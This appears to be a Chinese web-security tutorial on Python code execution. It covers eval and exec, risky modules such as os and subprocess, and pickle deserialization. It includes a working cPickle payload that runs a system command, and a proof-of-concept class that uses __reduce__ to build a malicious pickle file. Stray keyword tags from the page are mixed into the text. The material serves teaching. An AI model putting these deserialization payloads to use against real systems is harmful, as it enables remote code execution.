风炫安全web安全学习第三十二节课 Python代码执行以及代码防护措施python
eval和exec函数
eval
web
eval是一个python内置函数,语法为eval(expression, globals=None,locals=None)shell
eval函数接收三个参数:其中 expression
参数是用作运算的字符串类型表达式;globals参数用于指定运行时的全局命名空间;Locals参数用于指定运行时的局部命名空间。globals与 locals 是可选参数,默认值是 None,他们只在运算时起做用,运算后则销毁。express
exec
安全
在Python2中exec是一个内置语句(statement)而不是一个函数,可是到了Python3中exec将Python2中做为内置语句的exec和execfile()函数功能整合到一块儿,成为了一个新的函数,语法为exec(object[, globals[,locals]])ide
exec的第一个参数能够是code object,所以它能够执行复杂的代码逻辑,例如变量赋值操做等,这一点是eval作不到的。但exec返回值永远为 None,所以exec不能像eval同样将计算结果返回。exec的后两个参数与eval一致函数
标准库危险模块web安全
os subprocess
反序列化:学习
pickle和cpickleui
pickle.loads
>>> import cPickle >>> cPickle.loads("cos\nsystem\n(S'uname -a'\ntR.") Linux RCM-RSAS-V6-Dev 3.9.0-aurora #4 SMP PREEMPT Fri Jun 7 14:50:52 CST 2013 i686 Intel(R) Core(TM) i7-2600 CPU @ 3.40GHz GenuineIntel GNU/Linux 0
import cPickle import os import urllib class genpoc(object): def __reduce__(self): s = """ls /""" #要执行的命令 return os.system, (s,) #os.system("echo test >poc.txt") e = genpoc() poc = cPickle.dumps(e) print poc print urllib.quote(poc) fp = open("poc.pickle","w") fp.write(poc) # 生成 pickle文件 ----------------------- import pickle pickle.load(open('./poc.pickle'))
参考:
http://blog.evalshell.com/2020/12/20/风炫安全web安全学习第三十二节课-python代码执行以及代/